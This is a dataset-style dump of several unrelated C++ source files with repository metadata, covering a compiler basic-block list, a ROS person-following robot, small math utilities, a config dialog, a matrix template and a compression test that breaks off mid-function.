BBLIST_flags(tmp_list) = 0; return tmp_list; } #if USE_DEBUG_VERSION static void bblist_free (BBLIST *lst) { BBLIST *p; FOR_ALL_BBLIST_ITEMS (BBlist_Free_List, p) { if (p == lst) printf ("*** ERROR in bblist_free\n"); } BBLIST_next(lst) = BBlist_Free_List; BBlist_Free_List = lst; } #else #define bblist_free(lst) \ ((BBLIST_next(lst) = BBlist_Free_List), (BBlist_Free_List = lst)) #endif /* Free 'lst', and put back all its elements to the free list. */ void BBlist_Free (BBLIST **lst ) { BBLIST *tmp1, *tmp2; for (tmp1 = *lst; tmp1 != NULL; tmp1 = tmp2) { tmp2 = BBLIST_next(tmp1); bblist_free (tmp1); } *lst = NULL; } /* returns a count of the number of elements in the list. */ INT BBlist_Len (BBLIST *lst) { INT count = 0; BBLIST *p; FOR_ALL_BBLIST_ITEMS (lst, p) count++; return count; } /* Add the bb to the end of the lst. If bb was already in the lst, don't add it twice. */ BBLIST * BBlist_Add_BB (BBLIST **lst, BB *bb) { BBLIST *p, *last; p = *lst; /* check if the lst is empty, If yes put the bb into the list and return. */ if (p == NULL) { p = bblist_alloc (); BBLIST_item(p) = bb; *lst = p; return p; } /* check if the bb is already in the lst. */ last = NULL; for (;p != NULL; p = BBLIST_next(p)) { if (BBLIST_item(p) == bb) return p; last = p; } /* Add the bb to the end of the lst. */ p = bblist_alloc (); BBLIST_item(p) = bb; BBLIST_next(last) = p; return p; } /* Add the bb to the end of the lst with edge probability <prob>. * If bb was already in the lst, just increment edge probability. * Edge probabilities not updated unless FREQ_Frequencies_Computed(). */ BBLIST * BBlist_Add_BB_with_Prob (BBLIST **lst, BB *bb, float prob, BOOL via_feedback, BOOL set_prob #ifdef KEY ,BOOL via_hint #endif ,BOOL incr_prob) { BBLIST *p, *last; p = *lst; /* check if the lst is empty, If yes put the bb into the list and return. */ if (p == NULL) { p = bblist_alloc (); BBLIST_item(p) = bb; if (via_feedback || CG_PU_Has_Feedback) { BBLIST_prob(p) = prob; Set_BBLIST_prob_fb_based(p); } if (set_prob || FREQ_Frequencies_Computed()) { BBLIST_prob(p) = prob; #if defined(KEY) if(via_hint) Set_BBLIST_prob_hint_based(p); #endif Reset_BBLIST_prob_fb_based(p); } *lst = p; return p; } /* check if the bb is already in the lst. */ last = NULL; for (;p != NULL; p = BBLIST_next(p)) { if (BBLIST_item(p) == bb) { if (FREQ_Frequencies_Computed() && incr_prob) { BBLIST_prob(p) += prob; if (BBLIST_prob(p) >= 1.0f) BBLIST_prob(p) = 1.0f; } return p; } last = p; } /* Add the bb to the end of the lst. */ p = bblist_alloc (); BBLIST_item(p) = bb; BBLIST_next(last) = p; if (via_feedback || CG_PU_Has_Feedback) { BBLIST_prob(p) = prob; Set_BBLIST_prob_fb_based(p); } if ( #if defined(KEY) set_prob || #endif FREQ_Frequencies_Computed()) { BBLIST_prob(p) = prob; #if defined(KEY) if(via_hint) Set_BBLIST_prob_hint_based(p); #endif Reset_BBLIST_prob_fb_based(p); } return p; } static const union { INT32 i; float f; } NaN_u = { 0x7fbfffff }; static const float NaN = NaN_u.f; void Link_Pred_Succ (BB *pred, BB *succ) { Verify_BB(pred); Verify_BB(succ); BBLIST *pedge; BBlist_Add_BB (&BB_succs(pred), succ); pedge = BBlist_Add_BB (&BB_preds(succ), pred); /* Poison probability of pred edge since it is unused. */ BBLIST_prob(pedge) = NaN; } void Link_Pred_Succ_with_Prob (BB *pred, BB *succ, float prob, BOOL via_feedback, BOOL set_prob #ifdef KEY , BOOL via_hint #endif , BOOL incr_prob ) { Verify_BB(pred); Verify_BB(succ); BBLIST *pedge; BBlist_Add_BB_with_Prob (&BB_succs(pred), succ, prob, via_feedback, set_prob #ifdef KEY , via_hint #endif , incr_prob ); pedge = BBlist_Add_BB (&BB_preds(succ), pred); /* Poison probability of pred edge since it is unused. */ BBLIST_prob(pedge) = NaN; } /* Delete bb from lst. */ void BBlist_Delete_BB (BBLIST **lst, BB *bb) { BBLIST *p, *last; last = NULL; for (p = *lst; p != NULL; p = BBLIST_next(p)) { if (BBLIST_item(p) == bb) { if (last == NULL) { *lst = BBLIST_next(p); } else { BBLIST_next(last) = BBLIST_next(p); } bblist_free (p); break; } last = p; } } void Unlink_Pred_Succ (BB *pred, BB *succ) { BBlist_Delete_BB (&BB_succs(pred), succ); BBlist_Delete_BB (&BB_preds(succ), pred); } BBLIST * BBlist_Find_BB (BBLIST *lst, BB *bb) /* ----------------------------------------------------------------------- * Returns the BBLIST node in <lst> whose BBLIST_item is <bb>, or NULL * if there is none. * ----------------------------------------------------------------------- */ { BBLIST *p; FOR_ALL_BBLIST_ITEMS(lst, p) if (BBLIST_item(p) == bb) break; return p; } BBLIST * BBlist_Fall_Thru_Succ (BB *bb) /* ----------------------------------------------------------------------- * Returns a pointer to the BBLIST <node> in BB_preds(bb) such that * BBLIST_item(node) is the fall through control flow successor of * <bb>, or NULL if there is none. * ----------------------------------------------------------------------- */ { BB *next = BB_next(bb); BBLIST *node = NULL; if (next && (node = BB_Find_Succ(bb, next))) { /* Make sure it's not a branch target (direct or indirect). */ OP *br_op = BB_branch_op(bb); if (br_op) { INT tfirst, tcount; CGTARG_Branch_Info(br_op, &tfirst, &tcount); if (tcount == 0) { /* Indirect jump - no fall-through succ */ node = NULL; } else { TN *dest = OP_opnd(br_op, tfirst); DevAssert(tcount == 1, ("%d branch targets, expected 1", tcount)); DevAssert(TN_is_label(dest), ("expected label")); if (Is_Label_For_BB(TN_label(dest), next)) { /* Remove useless explicit branch to <next> */ BB_Remove_Op(bb, br_op); } else { #if defined(TARG_SL) #ifndef fork_joint if(!OP_fork(br_op)) #endif #endif DevAssert(OP_cond(br_op), ("BB_succs(BB:%d) wrongly contains BB:%d", BB_id(bb), BB_id(next))); } } } } return node; } BBLIST * BBlist_Fall_Thru_Pred (BB *bb) /* ----------------------------------------------------------------------- * Returns a pointer to the BBLIST <node> in BB_preds(bb) such that * BBLIST_item(node) is the fall through control flow predecessor of * <bb>, or NULL if there is none. * ----------------------------------------------------------------------- */ { BB *prev = BB_prev(bb); BBLIST *node = NULL; if (prev && (node = BB_Find_Pred(bb, prev))) { /* Make sure <bb> is not a branch target of <prev> (direct or indirect). */ OP *br_op = BB_branch_op(prev); if (br_op) { INT tfirst, tcount; CGTARG_Branch_Info(br_op, &tfirst, &tcount); if (tcount == 0) { /* Indirect jump - no fall-through pred */ node = NULL; } else { TN *dest = OP_opnd(br_op, tfirst); DevAssert(tcount == 1, ("%d branch targets, expected 1", tcount)); DevAssert(TN_is_label(dest), ("expected label")); if (Is_Label_For_BB(TN_label(dest), bb)) { /* Remove useless explicit branch to <bb> */ BB_Remove_Op(prev, br_op); } else { DevAssert(OP_cond(br_op), ("BB_preds(BB:%d) wrongly contains BB:%d", BB_id(bb), BB_id(prev))); } } } } return node; }
25.007246
79
0.60736
sharugupta
b1beef00a281466b97d97d607e58c3b1af3f0f4b
9,401
cpp
C++
data/Sepanta3/follow/sepantafollowengine/src/sepantafollowengine.cpp
khairulislam/phys
fc702520fcd3b23022b9253e7d94f878978b4500
[ "MIT" ]
null
null
null
data/Sepanta3/follow/sepantafollowengine/src/sepantafollowengine.cpp
khairulislam/phys
fc702520fcd3b23022b9253e7d94f878978b4500
[ "MIT" ]
null
null
null
data/Sepanta3/follow/sepantafollowengine/src/sepantafollowengine.cpp
khairulislam/phys
fc702520fcd3b23022b9253e7d94f878978b4500
[ "MIT" ]
null
null
null
#include <SepantaFollow.h> actionlib::SimpleActionClient<sepanta_msgs::MasterAction> * ac; SepantaFollowEngine::SepantaFollowEngine() : App_exit(false), _thread_Logic(&SepantaFollowEngine::logic_thread,this), _thread_10hz_publisher(&SepantaFollowEngine::scan10hz_thread,this), it(nh) { init(); } SepantaFollowEngine::~SepantaFollowEngine() { kill(); } bool SepantaFollowEngine::isidexist(int id) { for ( int i = 0 ; i < list_persons.size() ; i++ ) { if ( list_persons.at(i).ID == id ) { target_person = list_persons.at(i); return true; } } return false; } double SepantaFollowEngine::Quat2Rad(double orientation[]) { tf::Quaternion q(orientation[0], orientation[1], orientation[2], orientation[3]); tf::Matrix3x3 m(q); double roll, pitch, yaw; m.getRPY(roll, pitch, yaw); return yaw; } double SepantaFollowEngine::Quat2Rad2(tf::Quaternion q) { tf::Matrix3x3 m(q); double roll, pitch, yaw; m.getRPY(roll, pitch, yaw); return yaw; } void SepantaFollowEngine::GetPos(const geometry_msgs::PoseStamped::ConstPtr &msg) { Position[0] = msg->pose.position.x; Position[1] = msg->pose.position.y; orientation[0] = msg->pose.orientation.x; orientation[1] = msg->pose.orientation.y; orientation[2] = msg->pose.orientation.z; orientation[3] = msg->pose.orientation.w; Tetha = Quat2Rad(orientation); //if (Tetha < 0) Tetha += 2 * M_PI; //cout<<"POS : "<<Position[0]<<" "<<Position[1]<<" "<<Tetha<<endl; } double SepantaFollowEngine::GetDistance(double x1, double y1, double x2, double y2) { double x = x2-x1; double y = y2-y1; return sqrt(x*x + y*y); } bool SepantaFollowEngine::find_user_for_follow() { int dist_min = 100; bool valid = false; for ( int i = 0 ; i < list_persons.size() ; i++ ) { double _x = list_persons.at(i).pose.position.x; double _y = list_persons.at(i).pose.position.y; if ( _x > 0.5 && _x < 3 && abs(_y) < 0.4 ) { double dist = GetDistance(0,0,_x,_y); if ( dist < dist_min ) { dist_min = dist; target_person = list_persons.at(i); valid = true; } } } return valid; } void SepantaFollowEngine::change_led(int r,int g,int b) { sepanta_msgs::led _msg; if( r != 0 || g != 0 || b != 0) { _msg.enable = true; _msg.colorR = r; _msg.colorG = g; _msg.colorB = b; } else { _msg.enable = false; } led_pub.publish(_msg); } int follow_state; int find_state; double goal_x; double goal_y; int action_state = 0; double old_goal_x; double old_goal_y; void SepantaFollowEngine::logic_thread() { follow_state = 0; find_state = 0; boost::this_thread::sleep(boost::posix_time::milliseconds(1000)); std::cout<<"logic thread started"<<endl; while(ros::ok() && !App_exit) { boost::this_thread::sleep(boost::posix_time::milliseconds(100)); if ( follow_state == 0 ) { change_led(250,0,0); cout<<"[state = 0] : wait for user "<<endl; follow_state = 1; find_state = 0; } else if ( follow_state == 1 ) { cout<<"[state = 1] : find_state : "<<find_state<<endl; bool result = find_user_for_follow(); change_led(0,0,250); if ( result ) { find_state++; if ( find_state > 2) { find_state = 0; follow_state = 2; } } else { find_state = 0; } } else if ( follow_state == 2 ) { bool result = isidexist(target_person.ID); if ( result == false ) { change_led(250,0,0); cout<<"[state = 2] User Lost"<<endl; sepanta_move->exe_cancel(); follow_state = 0; } else { change_led(0,250,0); double e_x = Position[0]+ (target_person.pose.position.x+0.27) * cos(Tetha) - (target_person.pose.position.y) * sin(Tetha); double e_y = Position[1]+ (target_person.pose.position.x+0.27) * sin(Tetha) + (target_person.pose.position.y) * cos(Tetha); //double g[4]; //g[0] = target_person.pose.orientation.x; //g[1] = target_person.pose.orientation.y; //g[2] = target_person.pose.orientation.z; ///g[3] = target_person.pose.orientation.w; //double e_yaw = Rad2Deg(Quat2Rad(g)); //cout<<"YAW : "<<e_yaw<<endl; double r_costmap = 0.5; double Y = e_y - Position[0]; double X = e_x - Position[1]; double R = sqrt(X*X + Y*Y); double r = R - r_costmap; double x_goal = ( X * r ) / R; double y_goal = ( x_goal * Y ) / X; visualization_msgs::Marker points; points.header.frame_id = "map"; points.header.stamp = ros::Time::now(); points.ns = "point"; points.action = visualization_msgs::Marker::ADD; points.pose.orientation.w = 1.0; points.id = 0; points.type = visualization_msgs::Marker::POINTS; points.scale.x = 0.1; points.scale.y = 0.1; points.color.r = 1; points.color.a = 1.0; geometry_msgs::Point p; p.x = x_goal; p.y = y_goal; p.z = 0; points.points.push_back(p); marker_pub.publish(points); goal_data l; l.x = (int)(x_goal * 100); l.y = (int)(y_goal * 100); l.yaw = 0; sepanta_move->exe_slam(l); } } } } void SepantaFollowEngine::scan10hz_thread() { boost::this_thread::sleep(boost::posix_time::milliseconds(1000)); std::cout<<"10hz publisher thread started"<<endl; while(ros::ok() && !App_exit) { scan10hz_can_send = true; boost::this_thread::sleep(boost::posix_time::milliseconds(100)); } } void SepantaFollowEngine::chatterCallback_laser(const sensor_msgs::LaserScan::ConstPtr &msg) { if ( scan10hz_can_send ) { scan10hz_can_send = false; scan10hz_pub.publish(msg); } } void SepantaFollowEngine::chatterCallback_persons(const sepanta_msgs::PersonArray::ConstPtr &msg) { list_persons.clear(); for ( int i = 0 ; i < msg->people.size() ; i++ ) { person p; p.pose = msg->people.at(i).pose; p.ID = msg->people.at(i).id; list_persons.push_back(p); } // cout<<"people detected : "<<list_persons.size()<<endl; } void SepantaFollowEngine::rgbImageCallback(const sensor_msgs::ImageConstPtr& input_image) { cv_bridge::CvImagePtr cv_ptr; cv_ptr = cv_bridge::toCvCopy(input_image, sensor_msgs::image_encodings::BGR8); cv::Size s = cv_ptr->image.size(); //cout<<s.width<<endl; //cout<<s.height<<endl; float w = 1280; float h = 720; float ratio = w / h; int w2 = 800; int h2 = w2 / ratio; cv::Size size(w2,h2);//the dst image size,e.g.100x100 cv::Mat dst;//dst image //Mat src;//src image cv::resize(cv_ptr->image,dst,size);//resize image //cv::imshow("Objects Visualizer", dst); //cv::waitKey(1); sensor_msgs::ImagePtr msg = cv_bridge::CvImage(input_image->header, "bgr8", dst).toImageMsg(); small_image_pub.publish(msg); } void SepantaFollowEngine::init() { ROS_INFO("SepantaFollowEngine Version 1.0.0 :*"); App_exit = false; scan10hz_can_send = false; //============================================================================================ sub_handles[0] = node_handle.subscribe("/slam_out_pose", 10, &SepantaFollowEngine::GetPos,this); sub_handles[1] = node_handle.subscribe("/scan",10,&SepantaFollowEngine::chatterCallback_laser,this); sub_handles[2] = node_handle.subscribe("/people_tracked",10,&SepantaFollowEngine::chatterCallback_persons,this); sub_handles[3] = node_handle.subscribe("/kinect2/hd/image_color_rect", 1, &SepantaFollowEngine::rgbImageCallback,this); sub_handles[4] = node_handle.subscribe("kinect2/bodyArray",10,chatterCallback_kinect2_body); //============================================================================================ scan10hz_pub = node_handle.advertise<sensor_msgs::LaserScan>("/scan_10hz", 10); marker_pub = node_handle.advertise<visualization_msgs::Marker>("visualization_marker_follow_target", 10); led_pub = node_handle.advertise<sepanta_msgs::led>("/lowerbodycore/led", 10); small_image_pub = it.advertise("/kinect2/small/image_color_rect", 1); sepanta_move = new smove(); ROS_INFO("Init done"); } void SepantaFollowEngine::kill() { _thread_Logic.interrupt(); _thread_Logic.join(); _thread_PathFwr.interrupt(); _thread_PathFwr.join(); _thread_Vis.interrupt(); _thread_Vis.join(); }
27.014368
141
0.555898
khairulislam
b1c013defc09cbb37d164ef1765f8b0d754d5a9f
1,215
cpp
C++
math/get_neighbours2D.cpp
hariharanragothaman/Learning-STL
7e5f58083212d04b93159d44e1812069171aa349
[ "MIT" ]
null
null
null
math/get_neighbours2D.cpp
hariharanragothaman/Learning-STL
7e5f58083212d04b93159d44e1812069171aa349
[ "MIT" ]
null
null
null
math/get_neighbours2D.cpp
hariharanragothaman/Learning-STL
7e5f58083212d04b93159d44e1812069171aa349
[ "MIT" ]
null
null
null
#include "bits/stdc++.h" using namespace std; const std::pair<int, int> moves[] = {{-1, 0}, {0, -1}, {0, 1}, {1, 0}}; /* for(auto [dx, dy]: moves) { // Here nr and nc are what comes into the queue - i & j dx += nr; dy += nc; } */ vector<vector<int>> getNeighbours(int r, int c, int R, int C) { vector<vector<int>> neighbours; vector<vector<int>> adj = {{-1, 0}, {0, -1},{1, 0}, {0, 1}}; for(int i=0; i<4; i++) { int nr = adj[i][0] + r; int nc = adj[i][1] + c; if(nr >=0 && nr < R && nc >=0 and nc < C) { neighbours.push_back({nr, nc}); } } return neighbours; } int main() { vector<vector<int>> arr = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}}; /* To parse the matrix and get the neighbours of each of the elements */ int R = arr.size(); int C = arr[0].size(); for(int i=0; i<R; i++) { for(int j=0; j<R; j++) { vector<vector<int>> nei = getNeighbours(i, j, R, C); cout << "The neighbours of " << i << " " << j << endl; for(auto c: nei) cout << c[0] << c[1] << endl; cout << "**************************" << endl; } } }
22.5
76
0.438683
hariharanragothaman
b1c0e98ec3849d065085b7114a0535471daa9396
2,072
cpp
C++
extra/news/src/apk/dataset/config/config-dialog-console/main.cpp
scignscape/PGVM
e24f46cdf657a8bdb990c7883c6bd3d0a0c9cff0
[ "BSL-1.0" ]
null
null
null
extra/news/src/apk/dataset/config/config-dialog-console/main.cpp
scignscape/PGVM
e24f46cdf657a8bdb990c7883c6bd3d0a0c9cff0
[ "BSL-1.0" ]
null
null
null
extra/news/src/apk/dataset/config/config-dialog-console/main.cpp
scignscape/PGVM
e24f46cdf657a8bdb990c7883c6bd3d0a0c9cff0
[ "BSL-1.0" ]
null
null
null
// Copyright Nathaniel Christen 2019. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #include "application-model/application-config-model.h" #include "config-dialog/config-dialog.h" #include <QApplication> #include <QDebug> #include <QIcon> #include "kans.h" #include "textio.h" USING_KANS(TextIO) #include <QThread> USING_KANS(DSM) int main(int argc, char **argv) { QApplication qapp(argc, argv); qapp.setWindowIcon(QIcon(DEFAULT_ICON_FOLDER "/app-icon.png")); Config_Dialog dlg(nullptr); dlg.set_reset_callback([]() { Application_Config_Model::reset( { DEFINES_SRC_FOLDER "/UNIBUILD-custom_defines.h", CHOICES_PRI_FOLDER "/UNIBUILD-custom_choices.pri", UNIBUILD_PRI_FOLDER "/build-custom.pro", CUSTOM_LIBS_PRI_FOLDER "/_xpdf.pri", CUSTOM_LIBS_PRI_FOLDER "/_kph.pri", CUSTOM_LIBS_PRI_FOLDER "/_ss3d.pri", }, ".reset"); }); dlg.set_proceed_callback([&dlg](QString qs) { qDebug() << qs; Application_Config_Model acm; acm.parse_config_code(qs); { QString result; QString f = acm.insert_to_defines(DEFINES_SRC_FOLDER "/UNIBUILD-custom_defines.h", result); save_file(f, result); } { QString result; QString f = acm.insert_to_choices(CHOICES_PRI_FOLDER "/UNIBUILD-custom_choices.pri", result); save_file(f, result); } { QString result; QString f = acm.insert_to_unibuild(UNIBUILD_PRI_FOLDER "/build-custom.pro", result); save_file(f, result); } { QMap<QString, QString> result; QMap<QString, QString> files {{ { "xpdf", CUSTOM_LIBS_PRI_FOLDER "/_xpdf.pri" }, { "kph", CUSTOM_LIBS_PRI_FOLDER "/_kph.pri" }, { "ss3d", CUSTOM_LIBS_PRI_FOLDER "/_ss3d.pri" } }}; acm.insert_to_custom_libs(files, result); QMapIterator<QString, QString> it(result); while(it.hasNext()) { it.next(); save_file(it.key(), it.value()); } } dlg.register_proceed_completed(qs); }); dlg.show(); return qapp.exec(); }
21.142857
96
0.689189
scignscape
b1c355b9c8abc786c5156b692cc8dbd37374cf30
1,468
cpp
C++
codeforces/F - The Number of Subpermutations/Time limit exceeded on test 3.cpp
kzvd4729/Problem-Solving
13b105e725a4c2f8db7fecc5d7a8f932b9fef4ab
[ "MIT" ]
1
2022-02-11T16:55:36.000Z
2022-02-11T16:55:36.000Z
codeforces/F - The Number of Subpermutations/Time limit exceeded on test 3.cpp
kzvd4729/Problem-Solving
13b105e725a4c2f8db7fecc5d7a8f932b9fef4ab
[ "MIT" ]
null
null
null
codeforces/F - The Number of Subpermutations/Time limit exceeded on test 3.cpp
kzvd4729/Problem-Solving
13b105e725a4c2f8db7fecc5d7a8f932b9fef4ab
[ "MIT" ]
null
null
null
/**************************************************************************************** * @author: kzvd4729 created: Jul/09/2019 19:04 * solution_verdict: Time limit exceeded on test 3 language: GNU C++14 * run_time: 2000 ms memory_used: 35200 KB * problem: https://codeforces.com/contest/1175/problem/F ****************************************************************************************/ #include<bits/stdc++.h> #define long long long using namespace std; const long mod=1000001011; const int N=1e6,bs=307; int aa[N+2],dp[N+2],lst[N+2]; long pw[N+2],qm[N+2],hs[N+2]; int main() { ios_base::sync_with_stdio(0);cin.tie(0); int n;cin>>n;pw[0]=1; for(int i=1;i<=n;i++)pw[i]=(pw[i-1]*bs)%mod; for(int i=1;i<=n;i++)qm[i]=(qm[i-1]+pw[i])%mod; for(int i=1;i<=n;i++)cin>>aa[i]; dp[n+1]=n+1; for(int i=n;i>=1;i--) { dp[i]=dp[i+1]; if(lst[aa[i]])dp[i]=min(dp[i],lst[aa[i]]); lst[aa[i]]=i; } for(int i=1;i<=n;i++) hs[i]=(hs[i-1]+pw[aa[i]])%mod; int ans=0;dp[0]=1; for(int i=1;i<=n;i++) { int ln=min(n-i+1,aa[i-1]-1); ln=min(ln,dp[i-1]-i); for(int j=i;j<i+ln;j++) if(((hs[j]-hs[i-1]+mod)%mod)==qm[j-i+1])ans++; for(int j=dp[i-1];j<dp[i];j++) if(((hs[j]-hs[i-1]+mod)%mod)==qm[j-i+1])ans++; } cout<<ans<<endl; return 0; }
34.952381
111
0.424387
kzvd4729
b1c4430b410f7e361b37593904e11d8dd9dbf90c
4,813
inl
C++
src/atta/core/math/matrix.inl
Brenocq/Atta
e29e01067e06b97bc58165bca7351723174c6fc4
[ "MIT" ]
1
2021-06-18T00:48:13.000Z
2021-06-18T00:48:13.000Z
src/atta/core/math/matrix.inl
Brenocq/Atta
e29e01067e06b97bc58165bca7351723174c6fc4
[ "MIT" ]
6
2021-03-11T21:01:27.000Z
2021-09-06T19:41:46.000Z
src/atta/core/math/matrix.inl
Brenocq/Atta
e29e01067e06b97bc58165bca7351723174c6fc4
[ "MIT" ]
1
2021-09-04T19:54:41.000Z
2021-09-04T19:54:41.000Z
//-------------------------------------------------- // Atta Math // matrix.inl // Date: 2021-04-09 // By Breno Cunha Queiroz //-------------------------------------------------- namespace atta { template <typename T> matrix<T>::matrix(size_t _nrows, size_t _ncols): nrows(_nrows), ncols(_ncols) { rows = std::vector<vector<T>>(nrows); for(int i=0;i<nrows;i++) rows[i] = vector<T>(ncols); } template <typename T> matrix<T>::matrix(size_t _nrows, size_t _ncols, T val): nrows(_nrows), ncols(_ncols) { rows = std::vector<atta::vector<T>>(nrows); for(int i=0;i<nrows;i++) rows[i] = atta::vector<T>(ncols, val); } template <typename T> template <typename U> matrix<T>::matrix(const matrix<U>& m): nrows(m.nrows), ncols(m.ncols) { rows = std::vector<atta::vector<T>>(nrows); for(int i=0;i<nrows;i++) rows[i] = atta::vector<T>(ncols); for(int i=0;i<nrows;i++) for(int j=0;j<ncols;j++) rows[i][j] = m.rows.at(i).at(j); } template <typename T> matrix<T>::~matrix() { } template <typename T> vector<T>& matrix<T>::operator[](size_t i) { return rows[i]; } template <typename T> template <typename U> matrix<T> matrix<T>::operator+(const matrix<U>& o) const { matrix<T> res = *this; for(size_t i=0; i<nrows; i++) res.rows[i]+=o.rows[i]; return res; } template <typename T> template <typename U> void matrix<T>::operator+=(const matrix<U>& o) { for(size_t i=0; i<nrows; i++) rows[i]+=o.rows[i]; } template <typename T> template <typename U> matrix<T> matrix<T>::operator-(const matrix<U>& o) const { matrix<T> res = *this; for(size_t i=0; i<nrows; i++) res.rows[i]-=o.rows[i]; return res; } template <typename T> template <typename U> void matrix<T>::operator-=(const matrix<U>& o) { for(size_t i=0; i<nrows; i++) rows[i]-=o.rows[i]; } template <typename T> template <typename U> matrix<T> matrix<T>::operator*(const matrix<U>& o) { matrix<T> res = matrix<T>(nrows, o.ncols); size_t i, j, k; for(i=0; i<res.nrows; i++) { for(j=0; j<res.ncols; j++) { res[i][j] = 0; for(k=0; k<ncols; k++) res[i][j] += rows[i][k] * o.rows.at(k).at(j); } } return res; } template <typename T> template <typename U> void matrix<T>::operator*=(const matrix<U>& o) { matrix<T> res = (*this)*o; nrows = res.nrows; ncols = res.ncols; rows = res.rows; } template <typename T> template <typename U> void matrix<T>::operator*=(U v) { (*this) = (*this)*v; } template <typename T> template <typename U> vector<U> matrix<T>::operator*(const vector<U>& v) { vector<U> res(nrows); for(int i=0;i<nrows;i++) { U sum = 0; for(int j=0;j<ncols;j++) sum += rows[i][j]*v.at(j); res[i] = sum; } return res; } template <typename T> template <typename U> matrix<T> matrix<T>::operator*(U v) { matrix<T> res = matrix<T>(nrows, ncols); for(int i=0;i<res.nrows;i++) for(int j=0;j<res.ncols;j++) res.rows[i][j] = rows[i][j]*v; return res; } template <typename T> matrix<T>& matrix<T>::transpose() { std::swap(nrows, ncols); std::vector<vector<T>> cols = std::vector<vector<T>>(nrows); for(int i=0;i<nrows;i++) { cols[i] = vector<T>(ncols); for(int j=0;j<ncols;j++) cols[i][j] = rows[j][i]; } rows = std::move(cols); return *this; } template <typename T> std::string matrix<T>::toString() const { std::string res = "\n["; for(size_t i=0; i<nrows; i++) { res+="["; for(size_t j=0; j<ncols; j++) res += std::to_string(rows.at(i).at(j)) + (j!=ncols-1 ? ", " : "]"); res += i!=nrows-1 ? ",\n" : "]"; } return res; } //------------------------------------------------------------// //-------------------------- Inline --------------------------// //------------------------------------------------------------// template <typename T> inline matrix<T> transpose(const matrix<T>& m) { matrix<T> t = m; t.transpose(); return t; } }
24.18593
84
0.446291
Brenocq
b1c6b8eef546084dcea55ebd8b3d2248adb23535
901
cpp
C++
src/lib/file_interpreter.cpp
cuttle-system/cuttle-fileui
f0444501be19352c4734a8c1b2f301c4e17d71ac
[ "MIT" ]
null
null
null
src/lib/file_interpreter.cpp
cuttle-system/cuttle-fileui
f0444501be19352c4734a8c1b2f301c4e17d71ac
[ "MIT" ]
null
null
null
src/lib/file_interpreter.cpp
cuttle-system/cuttle-fileui
f0444501be19352c4734a8c1b2f301c4e17d71ac
[ "MIT" ]
null
null
null
#include <sstream> #include "file_interpreter.hpp" #include "interpreter.hpp" using namespace cuttle; namespace fs = boost::filesystem; void fileui::interpret_file(compile_state_t &state, vm::context_t &context, const fs::path &file_path, std::deque<vm::value_t> &arg_stack) { if (state.cached_files.count(file_path.string())) { std::stringstream input_str (state.cached_files[file_path.string()]); cuttle::vm::interpret(input_str, context, arg_stack); } else { std::ifstream file(file_path.string()); cuttle::vm::interpret(file, context, arg_stack); file.close(); // std::ifstream file1(file_path.string()); // state.cached_files[file_path.string()] = std::string((std::istreambuf_iterator<char>(file1)), // std::istreambuf_iterator<char>()); // file1.close(); } }
40.954545
140
0.63374
cuttle-system
b1ca291f78e472557a0357d67e77cc7efc558f9b
5,854
cpp
C++
be/test/util/block_compression_test.cpp
kuolei/incubator-doris
b14678c0021896f11efdfdaa3e2dad15b2d4868d
[ "Apache-2.0" ]
1
2022-02-22T15:03:57.000Z
2022-02-22T15:03:57.000Z
be/test/util/block_compression_test.cpp
kuolei/incubator-doris
b14678c0021896f11efdfdaa3e2dad15b2d4868d
[ "Apache-2.0" ]
null
null
null
be/test/util/block_compression_test.cpp
kuolei/incubator-doris
b14678c0021896f11efdfdaa3e2dad15b2d4868d
[ "Apache-2.0" ]
1
2022-02-28T09:53:30.000Z
2022-02-28T09:53:30.000Z
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include "util/block_compression.h" #include <gtest/gtest.h> #include <iostream> namespace doris { class BlockCompressionTest : public testing::Test { public: BlockCompressionTest() {} virtual ~BlockCompressionTest() {} }; static std::string generate_str(size_t len) { static char charset[] = "0123456789" "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; std::string result; result.resize(len); for (int i = 0; i < len; ++i) { result[i] = charset[rand() % sizeof(charset)]; } return result; } void test_single_slice(segment_v2::CompressionTypePB type) { std::unique_ptr<BlockCompressionCodec> codec; auto st = get_block_compression_codec(type, codec); EXPECT_TRUE(st.ok()); size_t test_sizes[] = {0, 1, 10, 1000, 1000000}; for (auto size : test_sizes) { auto orig = generate_str(size); size_t max_len = codec->max_compressed_len(size); std::string compressed; compressed.resize(max_len); { Slice compressed_slice(compressed); st = codec->compress(orig, &compressed_slice); EXPECT_TRUE(st.ok()); std::string uncompressed; uncompressed.resize(size); { Slice uncompressed_slice(uncompressed); st = codec->decompress(compressed_slice, &uncompressed_slice); EXPECT_TRUE(st.ok()); EXPECT_STREQ(orig.c_str(), uncompressed.c_str()); } // buffer not enough for decompress // snappy has no return value if given buffer is not enough // NOTE: For ZLIB, we even get OK with a insufficient output // when uncompressed size is 1 if ((type == segment_v2::CompressionTypePB::ZLIB && uncompressed.size() > 1) && type != segment_v2::CompressionTypePB::SNAPPY && uncompressed.size() > 0) { Slice uncompressed_slice(uncompressed); uncompressed_slice.size -= 1; st = codec->decompress(compressed_slice, &uncompressed_slice); EXPECT_FALSE(st.ok()); } // corrupt compressed data if (type != segment_v2::CompressionTypePB::SNAPPY) { Slice uncompressed_slice(uncompressed); compressed_slice.size -= 1; st = codec->decompress(compressed_slice, &uncompressed_slice); EXPECT_FALSE(st.ok()); compressed_slice.size += 1; } } // buffer not enough for compress if (type != segment_v2::CompressionTypePB::SNAPPY && size > 0) { Slice compressed_slice(compressed); compressed_slice.size = 1; st = codec->compress(orig, &compressed_slice); EXPECT_FALSE(st.ok()); } } } TEST_F(BlockCompressionTest, single) { test_single_slice(segment_v2::CompressionTypePB::SNAPPY); test_single_slice(segment_v2::CompressionTypePB::ZLIB); test_single_slice(segment_v2::CompressionTypePB::LZ4); test_single_slice(segment_v2::CompressionTypePB::LZ4F); test_single_slice(segment_v2::CompressionTypePB::ZSTD); } void test_multi_slices(segment_v2::CompressionTypePB type) { 